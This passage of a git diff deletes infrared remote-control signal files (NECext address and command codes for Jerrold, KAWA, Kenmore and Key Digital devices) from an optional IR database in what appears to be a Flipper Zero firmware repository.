00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: tcp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: lc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: fc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: prgm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: learn -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: pcpm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir deleted file mode 100644 index 4e7d58bd2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir deleted file mode 100644 index 2b3fc8c2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TCP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: Learn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: FC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: PCPM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir deleted file mode 100644 index 1ff3965c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CATV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir deleted file mode 100644 index 6c1c81b67..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0A 00 00 00 -# -name: TV/TXT -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0B 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0C 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0F 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 10 00 00 00 -# -name: info+ -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: EXP. -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 14 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 17 00 00 00 -# -name: NORM -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 19 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1A 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1B 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1C 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1D 00 00 00 -# -name: KEY_Y -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1E 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir deleted file mode 100644 index dfa740c67..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 01 00 00 00 -# -name: KEY_SAVE -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 04 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 0E 00 00 00 -# -name: KEY_SHUFFLE -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 F5 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir deleted file mode 100644 index df578119b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 09 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 57 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 58 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 59 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 61 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 66 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 71 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 72 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir deleted file mode 100644 index 32ac79826..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir +++ /dev/null @@ -1,638 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0A 00 00 00 -# -name: ANS -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0C 00 00 00 -# -name: EXT_12V_CONTROL_ON -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0D 00 00 00 -# -name: INPUT_SELECT_< -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0E 00 00 00 -# -name: INPUT_SELECT_> -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 0F 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 11 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 12 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 15 00 00 00 -# -name: EXT_12V_CONTROL_OFF -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 16 00 00 00 -# -name: NP_> -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 17 00 00 00 -# -name: PP_< -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 18 00 00 00 -# -name: SR -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 19 00 00 00 -# -name: R8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1A 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1C 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1D 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1E 00 00 00 -# -name: R4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1F 00 00 00 -# -name: ZO -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 40 00 00 00 -# -name: R5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 41 00 00 00 -# -name: R6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 42 00 00 00 -# -name: R7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 43 00 00 00 -# -name: PA -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 44 00 00 00 -# -name: AR-IN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 45 00 00 00 -# -name: GB -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 46 00 00 00 -# -name: SH -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 47 00 00 00 -# -name: BR -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 48 00 00 00 -# -name: CO -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 49 00 00 00 -# -name: U3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 56 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 57 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 58 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 59 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5A 00 00 00 -# -name: U4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5C 00 00 00 -# -name: INPUT_> -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 61 00 00 00 -# -name: >_UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 61 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 61 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 62 00 00 00 -# -name: POWER_ON_-2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 62 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 63 00 00 00 -# -name: POWER_OFF_-2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 63 00 00 00 -# -name: U1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 64 00 00 00 -# -name: U2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 65 00 00 00 -# -name: INPUT_< -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 66 00 00 00 -# -name: <_DN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 66 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 66 00 00 00 -# -name: OUT_1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 67 00 00 00 -# -name: OUT_2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 68 00 00 00 -# -name: OUT_3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 69 00 00 00 -# -name: OUT_4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 6A 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 71 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 72 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A2 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A3 00 00 00 -# -name: VIDEO_MODE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A4 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A5 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A6 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A7 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A8 00 00 00 -# -name: RESTORE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: A9 00 00 00 -# -name: ALL_MUTE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AA 00 00 00 -# -name: ALL_RESTORE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AB 00 00 00 -# -name: VOLUME -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AC 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AD 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AE 00 00 00 -# -name: MIDDLE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: AF 00 00 00 -# -name: TREBLE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B0 00 00 00 -# -name: LIPSYNC -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B1 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B2 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B3 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B4 00 00 00 -# -name: R4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: B5 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DA 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DC 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DD 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DE 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: DF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: E0 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: E1 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: E2 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: E3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir deleted file mode 100644 index 23815b4f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 